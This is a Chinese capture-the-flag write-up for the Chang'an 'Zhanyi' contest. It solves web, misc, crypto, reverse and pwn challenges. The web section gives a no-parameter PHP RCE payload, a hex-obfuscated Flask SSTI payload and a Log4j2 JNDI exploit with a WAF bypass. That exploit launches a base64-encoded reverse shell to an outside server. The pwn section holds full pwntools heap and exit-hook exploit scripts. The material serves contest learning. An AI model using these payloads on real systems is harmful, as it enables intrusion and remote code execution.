长安"战疫"网络安全赛Writeup

Web

RCE_No_Para

无参RCE

?1=system('tac flag.php');&code=eval(current(current(get_defined_vars())));
image-20220108112405025.png

flask

admin?static.js?

然后发现传参点:?name=

image-20220108111759531.png

简单试了下SSTI,发现过滤了引号等符号

考虑attr结合16进制来绕过

{{a|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x61\x73\x65\x5f\x5f%27)}}

可以成功拿到基类

image-20220108112102681.png

然后剩下的直接打就行了

{{a|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x61\x73\x65\x5f\x5f%27)|attr(%27\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%27)()|attr(%27\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%27)(186)|attr('\x5f\x5f\x69\x6e\x69\x74\x5f\x5f')|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x65\x76\x61\x6c')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29')}}
image-20220108112156788.png

Shiro?

一开始看题目名称以为是Shiro反序列化,拿工具打了一下,发现能打通,但是很多命令执行都没回显

1641628657487.png
1641628690295.png

只能执行一个ls和whoami,一直以为可能是需要绕过沙箱之类的,后来想起来可能是Log4j2。

之前自己也复现过一次:https://le1a.gitee.io/posts/3e4e56bc/

这次直接打,在云服务器上用工具起一个rmi服务,并且监听12345端口

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "101.43.66.67"
1641628865011.png

构造${jndi:rmi://101.43.66.67:1099/qzhyfb}填入用户名,密码随意,然后点击登录1641628962753.png

1641628980847.png

发现有WAF,百度了一下Log4j2的Bypass,找到了这篇文章:https://mp.weixin.qq.com/s/H1gH5ZtIAVpLPgmmUfJnaA

用其中的第二条payload ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://101.43.66.67:1099/qzhyfb} 即可绕过

1641629152498.png

云服务器也收到了反弹的shell,cat flag即可获得flag

1641629233293.png
flag{f8ab5b41f702bfc9a5bd7a2e2d3cd5d0}

Flag配送中心

image-20220108154213629.png

很明显的提示了

image-20220108163141212.png

然后直接照着上面用HTTPoxy洞去打

image-20220108154614688.png

开个监听:

image-20220108154623918.png

flag为:

cazy{WE_4r3_f4mily_for3vEr}

Misc

八卦迷宫

1641634400306.png

附件是一个迷宫图,先把迷宫走出去,一路上碰到的红色方块分别对应着长安战疫,山河无恙这八个字,把遇到的方块转为这些字的拼音的到flag

cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

西安加油

下载附件,是一个流量包,先导出HTTP对象

有一个secret(1).txt,里面base64解码是一个压缩包,通过如下脚本来得到这个压缩包

import base64
fin=open("secret.txt","r")
fout=open('2.zip',"wb")
base64.decode(fin,fout)
fin.close()
fout.close()

打开压缩包,里面有很多张图片。HTTP导出来的文件中还有一个hint.txt,base32解码得到图片的一个排列顺序

1641635910615.png

按照这个顺序,把这些图片依次拼接起来

1641637959273.png

得到flag为:

cazy{make_XiAN_great_Again}

无字天书

下载附件,是一个流量包,还是先导出HTTP对象

1641632608608.png

在1(5).php中发现了压缩包的16进制,winhex创建一个空的文件,然后把这个16进制导入,保存为1.zip

1641632672902.png

里面有两个文件,里面都是空白字符,先来看这个key,里面的长度都不一样,排除摩斯和二进制,查到了一种编码叫whitespace,在线网站:https://vii5ard.github.io/whitespace/

把key.ws里面的空白字符丢进去,run一下得到密钥:XiAnWillBeSafe

1641632833324.png

而且flag.txt里面的内容 同样是空白字符,这就不由得想起SNOW加密,可以把字符隐藏到一个txt中,输出一个新的txt,这个新的txt里面就含有空白的隐藏字符。

snow.exe -p XiAnWillBeSafe -C flag.txt
1641632998622.png

得到flag为:

cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}

Crypto

no_math_no_cry

由于len(flag)<=80,所以m肯定比1<<500小,于是m=2* *500-iroot((c-0x0338470),2)[0]。

from gmpy2 import *
from Crypto.Util.number import *
c=10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
print(long_to_bytes(2**500-iroot((c-0x0338470),2)[0]))
##flag:b'cazy{1234567890_no_m4th_n0_cRy}'

Re

cute_doge

1641633529180.png

base64解码得到flag

1641633564933.png

flag为:

flag{Ch1na_yyds_cazy}

Pwn

pwn1

很简单的签到pwn

EXP:

#!/usr/bin/env python
#coding=utf-8

from pwn import*


ip = "113.201.14.253"
port = 16088

io = remote(ip,port)
#io = process('./pwn1')
#elf = ELF('./rheap')
#libc = ELF('./libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='i386')

shell_addr = 0x8048540

io.recvuntil("Gift:0x")
buf = int(io.recv(8),16)
success(hex(buf))


io.recvuntil("\n")
io.sendline(p32(0x8048540) + "b"*0x30 + p32(buf+4))


io.interactive()

pwn2

add功能中存在offbyone漏洞。我们用堆风水构造出一个很大overlap,释放后进入unsortedbin,之后利用地址残留泄露出libc地址,最后劫持释放堆块的fd指针,劫持freehook即可

EXP:

#!/usr/bin/env python
#coding=utf-8

from pwn import*


ip = "113.201.14.253"
port = 16066

io = remote(ip,port)
#io = process('./pwn2')
#elf = ELF('./rheap')
libc = ELF('./libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')


def choice(c):
	io.recvuntil(":")
	io.sendline(str(c))

def add(size,content):
	choice(1)
	io.recvuntil(":")
	io.sendline(str(size))
	io.recvuntil(":")
	io.sendline(content)

def edit(index,content):
	choice(2)
	io.recvuntil(":")
	io.sendline(str(index))
	io.recvuntil(":")
	io.sendline(content)

def show(index):
	choice(4)
	io.recvuntil(":")
	io.sendline(str(index))

def free(index):
	choice(3)
	io.recvuntil(":")
	io.sendline(str(index))	



add(0x18,'A')
add(0x400,'A')
add(0x80,'A')
add(0x80,'A')

free(0)
add(0x18,'A'*0x18 + b'\xa1')

free(1)
add(0x400,'A')
show(2)

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
fh = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(leak))
success(hex(libc_base))

add(0x80,'AA')

add(0x18,'K')
add(0x20,'A')
add(0x20,'A')
add(0x20,'A')

free(5)

add(0x18,'A'*0x18 + b'\x61')
free(7)
free(6)
add(0x50,'A'*0x20 + p64(0) + p64(0x31) + p64(fh))
add(0x20,'/bin/sh')
add(0x20,p64(system))

free(7)
#gdb.attach(io)

io.interactive()

pwn3

ubuntu16的题

这里我是投机取巧用的ˆ符号

1641633441447.png

通过调试发现,当输入两次ˆˆ后,他的值与hp向减,就可以通过条件

1641633460263.png

我们通过条件后进入这个逻辑

1641633480225.png

这段代码存在任意地址写

最后我选择的是通过劫持exit hook为one gadget去getshell,中间卡了很长时间的是远程交互出来一点问题

最后EXP:

from pwn import *

ip = "113.201.14.253"
port = 16033
io = remote(ip,port)
#io = process('./Gpwn3')
elf = ELF('./Gpwn3')
libc = elf.libc
context(log_level='debug', os='linux', arch='amd64')


def choice(c):
	io.recvuntil(":")
	io.sendline(str(c))

def add(level):
	choice(1)
	io.recvuntil(":")
	io.sendline(level)

def up(level):
	choice(2)
	io.recvuntil(":")
	io.sendline(level)

def start():
	choice(3)



add('A'*35)
up('1')

up('ˆˆ')
up('ˆˆ')

io.recvuntil(":")
io.sendline('3')

io.recvuntil("Here's your reward: 0x")
leak = int(io.recv(12),16)
libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
exit_hook = libc_base+0x5f0040+3848

success(hex(leak))
success(hex(libc_base))
success(hex(exit_hook))


one = libc_base + 0xf1247
io.recvuntil(":")
io.send(p64(exit_hook))

io.recvuntil("!")
io.send(p64(one))
#gdb.attach(io,'b *$rebase(0x1064)')\
'''
up('1')
up('ˆ')
up('ˆ')
up('ˆ')

sleep(1)

start()



io.recvuntil("Here's your reward: 0x")
leak = int(io.recv(12),16)
libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
exit_hook = libc_base+0x5f0040+3848

success(hex(leak))
success(hex(libc_base))
success(hex(exit_hook))


one = libc_base + 0xf1247
io.recvuntil(":")
io.send(p64(exit_hook))

io.recvuntil("!")
io.send(p64(one))

#gdb.attach(io)
'''
io.interactive()